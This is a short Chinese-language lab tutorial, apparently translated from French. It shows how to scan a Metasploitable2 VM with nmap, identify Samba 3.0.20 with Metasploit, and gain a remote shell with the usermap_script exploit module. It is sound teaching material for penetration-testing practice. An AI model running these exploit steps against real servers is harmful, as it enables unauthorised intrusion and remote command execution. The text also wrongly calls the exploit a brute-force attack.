安全

用 Metasploit 攻击 Samba 服务器 —— 对 Metasploitable 的漏洞利用

本演示以 Kali Linux 作为攻击方,以 Metasploitable2 作为受害方,目标是默认运行在 445/139 端口上的 Samba 服务。先用 nmap -sV 扫描目标,再借助 Metasploit 框架识别 Samba 版本并利用 usermap_script 漏洞建立 shell 会话。

· 2 分钟阅读 · 难度 中级 · 基于 Samba 3.0.20

在本次演示中,Kali Linux 系统将作为攻击方,Metasploitable2 系统作为受害方。

目标是默认运行在 445/139 端口上的 Samba 服务器。

首先,可以用 nmap -sV 对目标进行扫描,以找出网络上开放的端口和服务。

nmap -sV 192.168.133.128
Illustration 1 — Hacker un serveur Samba avec metasploit - Exploit sur Metasploitable

Metasploit 框架因其大量的漏洞利用模块而被采用。为此,需要在攻击方系统上打开一个新的终端,然后执行 msfconsole 命令。

msfconsole
Illustration 2 — Hacker un serveur Samba avec metasploit - Exploit sur Metasploitable

首先,不妨打开一个辅助模块来执行扫描,以识别所使用的 Samba 版本。为此需要使用 use 命令,并指明用于扫描的模块路径 module auxiliary/scanner/smb/smb_version 。

use auxiliary/scanner/smb/smb_version

模块加载完成后,可以用 show options 命令查看各项选项,随后需要对其进行设置。

show options
Illustration 3 — Hacker un serveur Samba avec metasploit - Exploit sur Metasploitable

必须设置 RHOSTS 选项,因为 Required 列显示为 yes,而 Current Setting 列目前为空。

要设置某个选项,需要使用 set 命令,后接选项名 RHOSTS,再接其取值 192.168.133.128,即我们目标的 IP 地址。(IP 需自行调整)

set RHOSTS 192.168.133.128

要启动所选模块,需使用 run 命令。

run
Illustration 4 — Hacker un serveur Samba avec metasploit - Exploit sur Metasploitable

此次扫描获取了 SAMBA 所使用的版本,不会造成任何危害。 检测到的 Samba 版本显然是 3.0.20。

经过在 google 上简短检索后可以发现,3.0.20 版本存在一个漏洞利用,由开发 Metasploit 的公司 rapid7 发布在检索结果的首页。

Illustration 5 — Hacker un serveur Samba avec metasploit - Exploit sur Metasploitable

访问该链接后,要使用的漏洞利用模块路径以及可用的选项很快就会出现在页面顶部。

要实施我们的攻击,需要使用另一个模块,其路径为 exploit/multi/samba/usermap_script,并用 use 命令指明。

use exploit/multi/samba/usermap_script

与前一个模块一样,查看一下选项总是有益的。

show options
Illustration 6 — Hacker un serveur Samba avec metasploit - Exploit sur Metasploitable

需要再次输入远程目标的 IP 地址 RHOSTS。

set RHOSTS 192.168.133.128

要发起暴力破解攻击,需再次使用 run 命令。

run
Illustration 7 — Hacker un serveur Samba avec metasploit - Exploit sur Metasploitable

已成功与目标服务器建立了一个 shell 会话,这样便可以从该服务器上执行命令。执行诸如 whoami、pwd、ls -al 等命令,就能很快了解所处的环境。


还有其他页面可供进一步了解渗透测试。